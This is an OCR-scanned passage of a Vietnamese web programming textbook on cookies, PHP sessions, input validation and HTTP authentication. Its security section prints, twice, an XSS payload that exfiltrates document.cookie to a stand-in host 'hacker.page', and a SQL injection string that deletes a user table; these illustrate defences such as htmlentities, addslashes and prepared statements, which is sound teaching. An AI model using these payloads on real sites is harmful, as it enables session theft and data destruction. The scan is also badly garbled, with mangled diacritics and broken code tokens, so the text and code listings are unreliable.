Max-Age sé c6 thit ty wu tién cao hon, nghia la
thanh phan Expries sé khong c¢ tac,dung. Néu ca
Expires'va Max-Age khong duoc'thiét 1ap, cookie
sé hét han ngay khi dong trinh duyét. Néu mét
trong hai thanh phéan nay c6 mat, cookie sé con
han ngay ca khi da déng trinh duyét, cookie sé
duoc trinh duyét lru tre & bd nho ngoai.

Domain=<domain-value>  Cho biét tén mién, bao gom ca tén mién con,
trinh duyét duwoc phép gui cookie dén. Néu
khong c6 thanh phan Domain, tén mién cua tai
nguyén hién tai la tén mién duy nhat trinh duyét
duoc phép gtii cookie dén.

Path=<path-value> Cho biét duwong dan, bao gom ca duong dan
con, cua tai nguyén trinh duyét duoc phép guri
cookie dén. Vi du, néu Path=/docs, cac duong
dan /docs, /docs/Web/, hodc /docs/Web/HTTP déu
duoc phép. Néu khong c6 thanh phan nay, moi

duong dan déu duoc phép.

Secure Cho biét trinh duyét chi dwgc gai cookie néu
lwge d6 dang st dung la HTTPS.

HttpOnly Cho biét trinh duyét khong dwgc st dung

JavaScript d€ truy cap cookie.

Cac thanh phan tuy chon nay, néu cé trong cookie, duwoc phan cach nhau va
phan cach véi thanh phan khda=gid-tri bang ddu cham phay (;). Vi du mot cookie
v6i nhiéu thanh phan tuy chon nhuw sau: Set-Cookie: tasty=strawberry; Expires=Wed,
21 Oct 2017 07:28:00 GMT: Secure;

PHP cung cdp ham setcookie($key [, $value = "" [, $expire = 0 [, $path = "" [,
$domain = "" [, $secure = false [, $httponly = false ]]]]]]), trong d6, cac tham sd, nhw
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tén cua chung da mo ta, twong ing vai cac thanh phéan cta cookie, dé€ gui cookie
cho trinh khach. setcookie() cling dwgc st dung d€ cap nhat cookie (gitt nguyén
khoéa nhung thay doi cac thanh phan khac ctia cookie) va xda cookie (ddt cookie
hét han). Luu y, 1énh setcookie() phai duwoc goi truedce khi giri bat cit ndi dung gi ra
than cua dap ang HTTP. Noi cach khdc, 1énh setcookie() phai truedc cac thé HTML,
va trudc cac 1énh echo(), print().

Néu thanh phan HttpOnly khong duoc thi€t lap, trinh duyét c6 thé st dung
JavaScript d€ truy cap va thay doi, tao méi cookie thong qua API document.cookie
nhuw vi du sau:

1. <script type="text/javascript">

2 console.log(document.cookie); // food=choco; tasty=strawberry

3 document.cookie = "amount=3";

4. console.log(document.cookie); // food=choco; tasty=strawberry; amount=3
5. </script>

Khi nhan duoc yéu cau HTTP, cac cookies duoc bén phuc vu phan tich va luu
vao mot bo swutaprVoi PHRE, bostru tap nay jlay$o COOKIE(xerh thém Muc 6.1.1).
Truy cap edc gookie tir $_COOKIE,duiroc thiec hién théng qua khoa ctia cookie, vi
du $v =$_COOKIE[ “food].

Chuong trinh sauday minh hoa mét g dung ciaredokie nhdm tang tinh than
thién voi ngroi dung. Chwong trinh st dung mot cookie co tén 1a guideshown dé€
biét nguoi dung (trinh khach) da ghé tham trudc d6 hay chwa. Néu nguoi dung
ghé tham Jan dau tién, chuong trinh sé hién thi mét thong tin chao ming va gidi
thiéu vé trang web, dong thoi gli cookie guideshown cho trinh khach. O cac Tan
ghé tham ti€p theo, trinh khach gti cookie guideshown dén chuong trinh, va do dé
khong nhan dwoc thong tin chao mirng, gidi thiéu nita.

1. <!DOCTYPE html><html><head>

2 <title>L.8.1.1</title>
3 <meta charset="utf-8"/>
4 <style>

5. #tguide {

6. position:fixed;

7 top:200px;

8. left:200px;

9. width:500px;

10. height:110px;

11. background-color:grey;
12. }

13. </style>
14. </head><body>
15. <div>Noi dung cua trang</div>

16. <?php

17. if (lisset($_COOKIE["guideshown"])) { // Truy cap trang lan dau

18. >

19. <div id="guide">

20. Xin chao! Pay 1la lan dau tién quy vi ghé tham trang cla ching toi.
21. Quy vi vui long gianh it th&i gian xem ban gidi thiéu nay.

22. <br><br>

23. <button id="closeguide">Pdng</button>
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24. </div>

25. <script>

26. document.getElementById("closeguide").onclick = function() {
27. document.getElementById("guide").style.display = "none";
28. };

29. </script>

30. <?php

31. setcookie("guideshown", "shown");

32. }

33.

34. </body></html>

8.1.2. Phién

Phién (session) la cudc thoai (dialogue/conversation) gitta trinh khéach va trinh
phuc vu. Phién bat dau khi trinh khéch két n&i dén trinh phuc vu va két thtic khi
mot trong hai bén dong két ndi hodc thoi gian gianh cho phién da hét (timeout).
HTTP 1.1 vé6i két ndi bén viing cho phép trinh khach gi nhiéu yéu cau va nhan
nhiéu dap tang HTTP trong cung mot phién. VJi phién, thong tin hay dit liéu
trang thaidioc lwu giie bén phue vu. Néu\quan niém trinh! phuc/vu la phong kham
va trinh khachila bénh nhan dén phong kham dé khdmbénh thi phién cling giong
nhu s6 kham bénh nhung la $6 kham ¢tia ba¢ sy, dwoc phong-kham/lvu gitt ma
khong trao eho beénh'nhvén. Bac sy cua'phong kham sé-ghi tit'eathong tin vé bénh
ly, don thudc diéu tri cho bénh nhéan vao s6 kham bénh va cat gitt s6 kham bénh
tai phong kham. Di nhién, v6i rat nhiéu bénh nhan, phong kham sé khong nhé
bénh nhan la ai néu khong dua cho bénh nhan thit gi dem vé va mang theo tai cac
[an kham sau. T6i thiéu, phong khdm phai cap cho mdi bénh nhan mot thé kham
ghi s6 hiéu bénh nhan. Bénh nhan cam thé kham vé va mang né theo tai cac lan
dén kham tiép theo. Can ct sd hiéu ghi trén thé kham, bac sy sé tra citu thong tin
vé bénh nhan da ghi trong s6 kham theo sd hiéu dugc cung cidp. Quay vé ting
dung web, phién giong nhu s6 khdm duoc cat gii tai phong kham. Mbi phién ¢4
mdt dinh danh duy nhéat. Pinh danh phién déng vai tro nhu thé kham. Noéi cach
khéc, dinh danh phién giong nhw s6 hiéu, la thong tin t6i thiéu ma trinh phuc vu
g cho trinh khach r6i trinh khach gui lai cho trinh phuc vu trong cac yéu cau tiép
theo. Can ctt vao dinh danh phién, trinh phuc vu tra ctu dit liéu phién da lueu bén
phuc vu dé biét trang thai lam viéc vdi trinh khach.

Dinh danh phién duoc bén phuc vu tw dong tao ra theo moét thuat toan sinh s6
ngau nhién nham dao bao mdi phién c6 mot dinh danh duy nhat va ké xdu khong
thé lam gia dinh danh phién nham chiém doat phién. Trao d6i dinh danh phién
thuong duoc thuc hién béng cach st dung cookie, titc dinh danh phién la gia tri
ctia mot cookie dwge gtri di va guri lai gitra trinh khéach va trinh phuc vu. D6i khi,
trao doi dinh danh phién cling c6 thé duoc thuec hién thong qua URL.

Ttr gbc do cua nguwoi lap trinh, dinh danh phién da duoc hé thong tu dong
quan ly nén khong can quan tam dén né nita. Lap trinh vién chi can khai bao va st
dung cac bién phién d€ luu git trang thai lam viéc gitta trinh khach va trinh phuc
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vu. PHP cung cap bd suu tap/mang $_SESSION dé€ lap trinh vién thuc hién diéu
nay. D€ khai bdao va gan gia tri cho bién phién, st dung ca phap
$_SESSION[“tén_bién_phién”] = <gid_tri>. D€ 1ay gia tri bién phién st dung ca
phap $gia_tri = $_SESSION[ “tén_bién_phién”];. C6 thé xoa bd bién phién thong qua
ham wunset($_SESSION[ “tén_bién_phién”]);.

Luu y, trwde khi st dung cdc bién phién can khoi dong phién bang ham
session_start(). Ham session_start() phai duoc goi trude khi gri bat ¢ ndi dung gi
cho trinh khéch (trudc cac the HTML, trudc cac 1énh echo(), print()). Sau khi khoi
tao phién, bién mang c6 pham vi toan cuc $_SESSION duoc khoi tao. K€ tir thoi
diém nay, nguoi 1ap trinh c6 thé thao tac véi di liéu phién. Ngoai ra, c6 thé huy
phién, xod toan bo cac bién phién thong qua ham session_destroy().

Mot lwa chon duoc dwa ra la nén st dung phién hay cookie d€ luvu théng tin
trang thai. Lya chon nay tuy thudc vao nguoi lap trinh. Tuy nhién, phién thuong
duoc wa chudng hon cookie vi mot s6 ly do lién quan truyén thong va an ninh.
Thtt nhat, jtoan bd;thong tin cookie duwgcigi di tfong mai yéu ¢au HTTP lam cho
kich thudc cac yéu cau HTIP tang lén. Néu' kich thudc dir éu trang thai 16n, hiéu
nang truyén thong sébi anhrhudng: Thirhai, jquan trong homstrydung phién an
toan hon vi thong tin trang thai /d@oc¢ lwu trix bén phuc vu, khong ‘phai bén trinh
khéach. Néu st dung cookie, tinh riéng ftw bi vi pham do trinh khach nhé cookie.
Cudi cung, d6i khi nguoi st dung khong chap nhéan cookie, khong cho phép cac
trinh duyét sit dung cookie, do vay cookie sé khong hoat dong duoc.

Chuong trinh sau day la viét lai cua chuwong trinh vi du trong Muc 8.1.1 véi
viéc sit dung phién thay cho cookie. Chuong trinh str dung mot bién phién c6 tén
la guideshown d€ biét nguwoi dung (trinh khach) da ghé tham trudc dé hay chua.
Néu nguoi dung ghé tham Ian dau trong phién, chwong trinh sé hién thi mot
thong tin chao miing va gidi thiéu vé trang web, dong thoi thiét 1dp bién phién
Quideshown.

1. <?php

2. session_start();

3. »

4. <!DOCTYPE html><html><head>
5. <title>L.8.1.2</title>

6. <meta charset="utf-8"/>
7. <style>

8. #tguide {

9. position:fixed;

10. top:200px;

11. left:200px;

12. width:500px;

13. height:110px;

14. background-color:grey;
15. }

16. </style>

17. </head><body>

18. <div>Noi dung cua trang</div>
19. «<?php
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20. if (lisset($_SESSION["guideshown"])) {// Truy cap lan dau trong phién
21. >

22. <div id="guide">

23. Chao mirng quy vi ghé tham trang cla ching téi.

24. Quy vi vui long gianh it thoi gian xem ban gidi thiéu.

25. <br><br>

26. <button id="closeguide">bdéng</button>

27. </div>

28. <script>

29. document.getElementById("closeguide").onclick = function() {
30. document.getElementById("guide").style.display = "none";
31. }s

32. </script>

33. <?php

34. $ SESSION[ "guideshown"] = "shown";

35. }

36.

37.</body></html>

Mot ting dung quan trong cta phién la lwu gitt thong tin xac thuec, hay thong
tin vé nguoidung.da dang nhap thanh céng vao hé thdng. Ung,dung nay sé duoc
trinh bay chitiét trong Muc 8.2:

8.2. PAM BAO AN NINH

Pam bao an ninh cho tng dung web 1a mot chu dé rong va phiec tap. Mot s6 co
ché€ an ninh dién hinh sé dwgc trinh bay trong cdc muc nho tiép theo.

8.2.1. Xt ly dit liéu vao

Web 1a ting dung dé bi tdn cong trén Internet. C6 nhiéu nguyén nhan dan dén
thuce trang nay. Thit nhat, kién thiic vé an ninh ting dung web ctia 14p trinh vién
thuong han ché, hodc do 4p luc vé thoi gian nén 1ap trinh vién khong dau tu diung
muc cho an ninh. Lap trinh vién, ngoai ra, con cd thdi quen st dung cac thu vién
va khung phat trién sdn cé va phé mic van dé an ninh cho thu vién hay khung
phét trién. Th hai, nguyén nhin chinh va cét 16i la nguoi dung cé thé dé trinh dir
liéu bat ky dén ting dung. Nguoi dung c6 thé can thiép vao bat ky muc dix liéu nao
trong cac yéu cau HTTP, bao gom cac tham sd, cookie hay tiéu dé& HTTP. D€ truy
cap ung dung web, nguoi dung khong nhat thiét phai sit dung trinh duyét. Thay
vao d6, nguoi dung cé thé sit dung nhiéu cong cu khac nhau hay tw viét kich ban
d€ tao ra mot lwong 16n cac yéu cau HTTP véi dix liéu bat ky va gii dén ting dung
web. Nguoi dung ciing cd thé guiri cac yéu cau theo trinh tu bat ky cung cac tham
s0 khong nhue mong doi ctia ting dung. Ludng cong viéc va hanh vi cta ¢tng dung
theo chu y cua lap trinh vién, do vay, c6 thé bi pha vo.

Dé ting dung van hanh dung dan, dit liéu vao cho né can thoa man nhitng
rang budc nhat dinh. Viéc kiém tra cic rang budc trén dir liu vio duoc goi la xw ly
hop thirc (validation). Cong viéc nay hét stic can thiét vi, nhu da biét, moi di liéu
vao déu khong tin cay. Néu rang budc nao do6 bi vi pham, tng dung cé thé phat
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sinh 18i, hodc/va dan dén hong dit liéu. Vi dy, vdi tng dung quan ly diém (thi,
kiém tra), néu cac di€m dwoc nhap vao khdng phai 1a s8, ng dung sé phéat sinh 16i
khi tinh diém trung binh. Néu diém dwoc nhap vao la s6 am hodc s6 duong rét
16n, ban than diém nhap vao va diém trung binh tré thanh di liéu sai, khong co6
gia tri. Nguy hiém hon, néu rang budc trén dit liéu vao bi bé qua, ttng dung cé thé
tao ra nhitng I hong an ninh (vulnerability) dé dang bi tan cong. Vi du, néu thay vi
nhdp diém la con s6, nguoi dung nhap <script>document.write(“<iframe src =
"http://hacker.page?c=""+ document.cookie + *" style="width:0px; height:Opx"> </iframe>");
</script>, thi khi bang diém duoc hién ra, mot khung noi tuyén khong nhin thay
trén giao dién duoc tao ra va gui cookie cua trang web dén trang ctia ké xau. Dinh
danh phién, do d6 bi danh cap. Cac vi du néu trén chi 1a it trong v6 s6 nhitng vi
du ma néu dir liéu vao khong dwoc kiém soét tot, ing dung web sé bi tdn cdng
hogc khéng van hanh dung dan nita.

Nhiém vu cta xt¢ ly hgp thitc la ddm bao dit liéu vao la hop 1, dwoc lam sach va
chudn héa. DG liéu vao hop 1€ 1a dir liéu vao thoa.man céa¢ rang budc duoc dva ra.
Nhiéu rang budec’'cd thé duoe ap dat 1én'ca¢ da¢ trung kKhac nhau \cial div liéu nhw
kich thudg, kiéu, dinh dang, hay mién gia tri. Vidu, di€mythi phai la s6 thuc trong
doan [0, 10], email phaila xau ky tikhdop mot biéu thirc chinh-quy cho trudc, hay
ngay sinh phai [a motngay‘eéd thuc, khong'phaingay trong twwong lai, ... Cac rang
budc dwgc nguoi thiét ké phan mém dua ra va lap trinh vién thuc thi trong cai dat
ma nguon.

Xt 1y hop thic thuong duoc tién hanh theo ba budc. Budc thit nhat 1a kiém tra
cac truong thong tin bat budc phai nhap dit liéu (rang budc khac rong). Budc nay
duoc thiee hién nham dam bao nguoi stt dung cung cap diy di dix liéu duoc yéu
cau. Budc thit hai 1a kiém tra dam bao d@ liéu nhap diing dinh dang, kiéu dir liéu,
kich thwdc, mién gia tri. Sau khi kiém tra cac rang budc, & budc thit ba, dir liéu ¢
thé can dwoc lam sach va chudn héa. Vi dy, di liéu ngay thang dwoc chuyén dinh
dang tr ngay Viét sang ngay Anh dé€ luu vao co s di liéu, thdng tin ho va tén can
duoc chudn hoéa theo quy tac chit cai dau ctia mdi tir viét hoa, cac chit cai con lai
viét thuwong va hai tir lién ti€p cach nhau mot dau cach, cac ky tu dic biét nhw
nhay don (), nhdy kép (“) dugc dua vao chudi ky tu thoat (escape sequences) (\’,

\”, ).

Xt ly hop thitc dwoc thuc hién & ca mat triede va mat sau ctia tng dung. O mit
tredc, xit ly hop thic la tuy chon, khong bt budc. X ly hop thttc 6 mat trudc
duoc thuc hién nham tang hiéu qua st dung va tinh than thién d6i voi nguoi
dung. Tht hinh dung khi khong c6 xtt ly hop thttc 6 mat trudc, sau khi nguoi
dung nhap cac truong thong tin va bam nut dé trinh, x ly hop thiic & mdt sau
duoc tién hanh véi két qua con truong thong tin nhap sai quy dinh, toan bo di
liéu dugc chuyén lai cho madt trede va mat trude hién thi lai giao dién cung véi
thong bao 18i. Khong nhiing ngudi dung mat thoi gian cho, bang thong duong
truyén bi tiéu ton ma tinh than thién d6i véi nguoi dung ciing bi giam. Ngwoc lai,

167


https://www.studocu.com/row?utm_campaign=shared-document&utm_source=studocu-document&utm_medium=social_sharing&utm_content=giao-trinh-ptud-web-draft

néu c6 xtt ly hop thtec & mét truede, d@t liéu nhap duoc kiém tra tai trinh khach,
ngay sau khi nguoi dung két thtic nhap. Néu dit liéu nhap vao khong hop 1¢,
ngroi dung dwoc thong bao ngay, trang web khong phai tai lai, hiéu qua st dung
va tinh than thién tang 1én rd rét. Tuy nhién, can nhan manh rang xi Iyj hop thikc 6
mdt triée khong thé thay thé’cho xir Iyj hop thirc ¢ mdt sau. Xt ly hop thite 6 mat trude
chi gitp cai thién hiéu qua lam viéc cho nguoi dung thong thuong chtt khong
gilp ngan chin ké xau g dit lieu khong hop 1& dén mat sau. Ké xau cé thé dé
dang danh chdn yéu cau HTTP, stra d6i dt liéu da qua xw ly hop thirc 6 mat trude
truede khi chuyén tiép yéu cau dén mat sau. Ké xau cling khong can st dung trinh
duyét, ma dung cdng cu khac, d€ gii dir liéu dén trinh phuc vu. Moi dir ligu Qiri
dén mat sau déu khong tin cdy. X 1y hop thitec & mat sau, do vay, 1a 14 chan bat budc.

Xt ly hop thitc & mat tredc dugce thiee hién bf?mg JavaScript. Cac sy kién xay ra
trén cac doi twong nhap liéu trong lic nguwoi dung nhap (onkeyup, onkeydown,
onchange, onfocus, onblur, ...) hay nguoi dung bam nat dé trinh (onclick, onsubmit)
duwoc bt va xt ly. Trong ham xtt ly sy kién, di liéu nhap (gia tri thudc tinh value,
checked, ...-ctialcdc do6i 'twongmhap 'liéu) diroc)kiém! tra theo ¢de'rang budc. Néu
rang budc nao dd bi vi pham, ham alert() hodc doi tuong van ban bat ky cd thé
duoc stv dung dé hiénthi thong bao 16i.Biéu nhap chi dugcdé-trinh Khi khong co
rang budc nao bivi pham. Mét s6 ham thwdng deoc strdung trohg xt ly hop thiic
0 mdt trudc la document.getElementByld(id), document.getElementByName(name),
document.querySelector(selector) d€ 18y tham chiéu dén cac d6i twong nhép liéu,
str.substring(begin, end), str.split(delimiter) d€ xt ly xau ky tu, isNaN(s), parselnt(s),
parseFloat(s) d€ kiém tra va chuyén d6i kiéu dir liéu. C6 thé sit dung HTML va CSS
dé dua ra cac hudéng dan nhap ngan gon ngay tai cac 6 nhap liéu.

Xt Iy hop thitc & mat sau duoc thiee hién bang ngdn ngit 1ap trinh web dong.
Dt liéu nguoi dung thuong duoc dat trong cac tham s6 POST va GET, d6i khi
trong ca tiéu dé cua yéu cau HTTP. Dau tién, dit liéu nguoi dung duoc kiém tra
xem da duwoc dé trinh hay chwra va khac rong hay khong st dung cdc ham isset() va
empty(). Néu di liéu nguoi dung da duoc dé trinh va khéc rong, cdc rang budc
khéc trén dir liéu duoc kiém tra. Néu c6 rang budc bi vi pham, ting dung can gui
dit lieu nhap cting thong bao 16i vé mat trudc d& mat trude hién thi va cho nguoi
dung nhap lai. Mot s& ham thuwong dwoc sit dung trong x ly hop thirc & mat sau
la substr(), explode() d€ xw ly xau, intval(), floatval() d&€ chuyén doéi xau thanh sg,
ereg() d€ doi sanh dit liéu véi bi€u thire chinh quy.

Trang form.php sau day cung cap mot biéu nhap véi ba treong nhap cac thong
tin vé ho tén, ngay sinh va email ctia ngredi dung. Moi d6i tuong nhap liéu duoc
kém triedec mot nhan (d6i tuong <label>) va theo sau bang mot ddi twong <span>
dung dé thong bao 16i. Cac 16p CSS duoc khai bdo va st dung d€ trinh bay biéu
nhap va dinh ki€u trinh dién cho thong bao 16i. Mbi d6i tieong nhap duoc dat tén
(name) va dinh danh (id) trung nhau. Dinh danh duwoc st dung d€ truy cap doéi
teong 6 mat trude. Tén duoc sit dung khi dé trinh dir liéu dén mat sau.
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<?php // form.php
$hoten=""; $ngaysinh=
$loi_hoten=""; $loi_ngaysinh=
?>
<!DOCTYPE html><html><head>
<title>Form</title>
<meta charset="utf-8">
<style type="text/css">
label.newrow {float:left; width:1@0px;}
span.errornote {color:red;}
form br {clear:both;}
</style>
13. </head><body>
14.  <form method="post" id="forml">

; $email="";

; $loi_email="";

OWoONOUDS WN R

[
NBR® -

15. <label for="hoten" class="newrow">Ho tén:</label>

16. <input type="text" name="hoten" id="hoten" value="<?php echo $hoten; ?>"/>
17. <span id="loi_hoten" class="errornote"><?php echo $loi_hoten; ?></span>
18. <br/>

19. <label for="ngaysinh" class="newrow">Ngay sinh:</label>

20. <input type="text" name="ngaysinh" id="ngaysinh" value="<?php echo $ngaysinh; ?>"/>
21. <span id="loi_ngaysinh" class="errornote"><?php echo $loi_ngaysinh;?></span>
22. <br/>

28 <label for="email" class="newrow">Email:</label>

24. <input type="text" name="email" id="email" value="<?php echo $email; ?»>"/>
25. <span id="loi_email" class="errornote"><?php echo $loi_email; ?></span>
26. <br/>

27 <label class="newrow"></label>

28. <input type="button" id="btncn" value = "Chap nhan"/>

29. <input type="button" value = "B qua"/>

30. </form>

31. <script type="text/javascript" src="jquery.js"></script>
32. <script type="text/javascript" src="form.js"></script>
33. </body></html>

Ma JavaScript thuyc hién kiém tra hop thirc & mat treée duoc viét trong tép
form.js ¢6 ndi dung nhw dudi day. Sy kién mat tdm diém trén d6i twgng nhap ho
tén dwoc bt va xu ly. Tai ham x@ ly sy kién nay, xau ho tén da nhap dwoc chuan
hoéa va dat lai d6i twong nhap. Ciing trén biéu nhap, sw kién bam nut “Chap nhan”
duwoc bat va xt ly. Néu ho tén chua duoc nhap, thong bao 16i “Chua nhap ho tén”
s& duwoc hién thi. Néu ngay sinh dwoc nhap va khéng hop 1¢, thong bao 151 “Ngay
sinh khong ding” dwoc hién thi. Néu email duoc nhap va khéng dung dinh dang,
thong bao 16i “Email khong dung” dwgc hién thi. Dinh dang email duoc kiém tra
bang viéc d8i sanh dit liéu nhap véi biéu thitc chinh quy trong khi ngay sinh duoc
kiém tra bé"mg mot ham. Do han ché vé dung lugng, ndi dung cac ham chudn héa
tén va kiém tra ngay thang khong dwgc trinh bay trong vi du nay. Chi khi tat ca
cac kiém tra khong phat hién rang budc nao bi sai pham, biéu nhap méi duoc dé
trinh bang goi ham submit().

1. // form.js
2. function ChuanhoaTen(ten) { .. return sname; }
3. function laNgayThang(d) { .. return true; }
4. function laEmail(e) { .. return true; }
5. function hotenBlur() { $("#hoten").val(ChuanhoaTen($("#hoten").val()));}
6. function chapnhan() {
7 // Xéa cédc théng bdo 16i
8 $("#loi_hoten").html("");
9. $("#loi_ngaysinh").html("");
10. $("#loi_email").html("");
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11. // Kiém tra hgp thic
12. var hople = true;

13.  if ($("#hoten").val() == "") {

14. $("#loi_hoten").html("Chuwa nhap ho tén");
15. hople = false;

16. }

17. if ($("#ngaysinh").val() != "") {

18. if (!laNgayThang($("#ngaysinh").val())) {
19. $("#loi _ngaysinh").html("Ngay sinh khéng dung");
20. hople = false;

21. }

22. 1}

23,  if ($("#email").val() !'= "") {

24, if(!laEmail($("#email™).val())) {

25. $("#loi _email"”).html("Email khéng dung");
26. hople = false;

27. }

28. }

29. // bé trinh form

30. if (hople) $("#forml").submit();

31.}

32.

33. $(document).ready(function(){

34. // X ly sy kién madt tam diém cla hoten, chuan héa tén
35.  $("#hoten").blur(hotenBlur);

36. // X ly su kién bam ndt chdp nhan

37. $("#btncn").click(chapnhan);

38.1}1);

Ma PHP thuc hién kiém tra hop thtic ¢ mat sau duwoc b6 sung vao dau tép
form.php nhu dwéi day. Cac bién PHP duoc khai bao trwede. Ban dau, tat ca cac bién
PHP déu c6 gia tri rgng. Tiép theo, néu di liéu da duoc dé trinh, cac bién lan lugt
nhan d liéu nhap, qua trinh kiém tra hop thiic & mat sau dwgc thye hién. Néu tat
ca cac rang budc duoc thoa man, dit liéu duoc st dung va tng dung chuyén
nguoi dung dén mot trang khac. Nguoc lai, khi con rang budc bi vi pham, ndi
dung cac thong bao 16i dwoc thiét lap. Gia trj ctia cac bién, ca dix liéu va thong bao
16i, duoc dat 1én biu nhap d€ gtii lai cho trinh khach.

1. <?php

2. // form.php

3. $hoten=""; $ngaysinh=""; $email="";

4. $loi_hoten=""; $loi_ngaysinh=""; $loi_email="";
5. if (isset($_POST["hoten"])) { // D3 dé trinh
6. $hoten = $ POST["hoten"];

7. $ngaysinh = $ POST["ngaysinh"];

8. $email = $ POST["email"];

9. // Kiém tra hgp thic

10. $hople = true;

11. if (empty($_POST["hoten"])) {

12. $loi_hoten = "Chuwa nhap ho tén";

13. $hople = false;

14. }

15. if (lempty($_POST["ngaysinh"])) {

16. if (!laNgayThang($_POST["ngaysinh"])) {
17. $loi_ngaysinh = "Ngay sinh khong dung";
18. $hople = false;
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19. }

20. }

21. if (lempty($_POST["email"])) {

22. if (!1laEmail($_POST["email"])) {
23. $loi_email = "Email khéng dung";
24, $hople = false;

25. }

26. }

27. if ($hople) {

28. // Lam sach dir 1iéu. S dung dir 1iéu ... xong roi Chuyén trang
29. header("Location:index.php");

30. }

31. }

32.

33. <!DOCTYPE html><html><head>
34. <title>Form</title>

35. <meta charset="utf-8">
36. <style type="text/css">

37. label.newrow {float:left; width:100px;}
38. span.errornote {color:red;}
39. form br {clear:both;}

40. </style>

41. </head><body>

42. <form method="post" id="forml">

43. R

44. </form>

45. <script type="text/javascript" src="jquery.js"></script>
46. <script type="text/javascript" src="form.js"></script>
47. </body></html>

Mot cong viéc c6 thé duoc thuc hién trong xt ly hop thirc, dac biét @ mat sau,
la 1am sach (sanitization) d liéu vao, hay xtt ly nhitng di liéu vao cé nguy co tao
ra cac tan cong. Vi du, d€ tao cau truy van theo dir liéu nguoi dung, cac ky tu dac
biét trong dit liéu nguoi duing, néu cd, phai dugc che chan bang cac chudi ky tw
thoat. Cau truy van “select * from NSD where hoten like *”.$_POST|[“hoten”].””” sé bi
tiém nhiém, trd thanh “select * from NSD where hoten like * ’; delete from NSD where
2’ > ‘1"” néu nguoi dung nhap vao truong ho tén la ’; delete from NSD where 2" >
‘1. Cau truy van nay ro rang nguy hai vi né xda tat ca dix liéu vé nguoi dung. Dé
khong xay ra diéu do, addslashes() caia PHP hay mot ham twong tuw ¢ thé duoc st
dung d¢é tao ra chudi ky tu thoat tredc cdc ddu nhay don (*), nhay kép (“), chéo trai
(\) hay NUL. Néu ngwoi dung nhap vao truong ho tén la “ ’; delete from NSD
where 2" > ‘17, cau truy van “select * from NSD where hoten like
"”.addslashes($_POST[“hoten”]).””” sé trd thanh “select * from NSD where hoten like
\"; delete from NSD where \2\"> \“1"". Cau truy van nay an toan vi \’; delete from
NSD where \'2\">\"1 la mot dit liéu thong thuwong.

Bén canh xtt ly hop thitc, st dung API an toan (safe API) cling la mot bién
phap quan trong trong stt dung dit liéu vao. Nhiéu 16 hong an ninh ton tai 1a do
tng dung st dung di liéu vao mot cach khong an toan. Trong mét s6 tinh hudng,
phuong phap 1ap trinh an toan (safe programming methods) ¢ thé duoc sit dung
dé tranh cac 16 hong an ninh. Vi duy, cé thé loai bo triét &€ cac tdn cong tiém nhiém
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SQL, nhu vi du duoc trinh bay ¢ phia trén, bang viéc stt dung cac cau lénh c6
tham sO hay cau lénh chudn bi trudce. Vi du khac, néu ting dung xuéat dit liéu caa
nguoi dung ra HTML mot cach truc tiép, tdn cong XSS (Cross Site Scripting) c6 thé
xay ra. Cau lénh <?php echo $_POST[“hoten”]; ?> sé tro thanh mot tdn cong XSS
néu nguoi dung nhdp ho tén la <script> document.write(“<iframe src =
"http://hacker.page?c=""+ document.cookie + *" style="width:0px; height:0px"> </iframe>");
</script>. D€ tranh 16 hdng XSS, dit liéu can dwoc biéu dién ¢ dang tham chiéu ky
tu (&name; va &#code;) khi dwa ra HTML. Ham htmlentities() cia PHP ¢6 thé duoc
st dung d€ thuc hién diéu nay. Cau lénh <?php echo htmlentities($_POST| “hoten”]);
?>1a an toan vdi cac tan cdng XSS.

8.2.2. Quan ly truy cap

Quan ly truy cap la viéc ddm bao mdi nguodi dung chi dwoc st dung chitc nang
va dir liéu nhat dinh, khong duoc st dung chirc nang va dir liéu khac. Ba co ché ¢
lién quan mat thiét, duoc thuc hién dong thoi trong quan ly truy cap bao gom xic
thwe (authentication) nguoi dung, 'qudn 1 phién\(session \managentent), va diéu khién
truy cdp (access control).

Xac thue

Xac thuc 1a budc dau tién dugc thye hién trong quan ly truy cap. Nhiém vu
cta xac thuce Ia xac minh nguwoi dung c6 dung nhw thong tin ma ho xung danh hay
khong. Phuong phap xéac thue duoc sit dung nhiéu nhat 1a st dung tén dang nhap
va mat khau. Nguoi dung cung cdp tén dang nhap va mat khau (cai nguoi dung
biét), ing dung sé xac minh tén dang nhap va mat khau c6 hop 1é hay khong.

Vi ting dung web, viéc cung cap tén dang nhap va mat khau cé thé duoc thuc
hién nho giao thitc HTTP, va duoc goi 1a xac thwe HTTP. Khi ting dung can thong
tin xac thuc, n6 gri cho trinh khach dap ttng HTTP véi ma trang thai la 401, nhu
vi du sau:

HTTP/1.1 401 Authorization Required

Date: Mon, 21 May 2001 23:40:54 GMT

Server: Apache/1.3.19 (Unix) PHP/4.0.5
WWW-Authenticate: Basic realm="Marketing Secret”
Connection: close

Content-Type: text/html; charset=utf-8

<IDOCTYPE HTML> <HTML><HEAD>

<TITLE>401 Authorization Required</TITLE> </HEAD><BODY>
<HI1>Authorization Required</HI1><p>Enter username and password</p>
</BODY></HTML>

Trong PHP, c6 thé st dung ham header() d€ tao dap ing HTTP vdi ma trang
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thai 401 nhu sau:

header('"HTTP/1.0 401 Unauthorized’);
header('WWW-Authenticate: Basic realm="My Realm”’);

Khi nhan duogc dap tng 401, trinh duyét sé hién thi mot hop thoai cho phép
nguoi dung nhap tén dang nhap va mat khau va badm nat dong y, trinh khach sé
gti yéu cau HTTP véi thong tin xac thue (tén dang nhap va mat khau) trong tiéu
dé Authorization, nhu vi du sau:

GET /auth/keys.php HTTP/1.0

Connection: Keep-Alive

User-Agent: Mozilla/4.51 [en] (WinNT; 1)

Host: abc.domain

Accept-Language: en

Accept-Charset: utf-8,*

Autharization: Basic, ZGE2Z TpwhGF0eXB1cuw==

Khi bén phuc yumhén deec yéu cawHTETDytrong PHP, théng tin xéc thuc bao
gom tén|/sk/ dung | va /mat khau duwgc Jduu vao/ cac bién
$_SERVER['PHP_AUTH_USER’], $_SERVER['PHP_AUTH_PW’], twong tng.

Ma nguon thuc hién xac thuc HTTP béng PHP c6 dang nhu sau. Ma xdc thuc
duoc dat o dau tat ca cac tép PHP. Dau tién, ing dung kiém tra xem nguoi dung
da cung cdp thong tin xac thuc hay chua. Néu chua, tng dung tra vé dap ung
HTTP c6 trang thai 401. Nguoc lai, tng dung kiém tra tén dang nhap va mat khau
duoc cung cap cd hop 1€ hay khong. Néu khong, ting dung ti€p tuc tra vé dap tng
HTTP c6 trang thai 401. Nguoc lai, tng dung thuc hién cac cong viéc theo logic
cuia no.

1. <?php

2. if (!isset($_SERVER['PHP_AUTH_USER'])) {

3 // Chua cung cap thong tin xac thuc

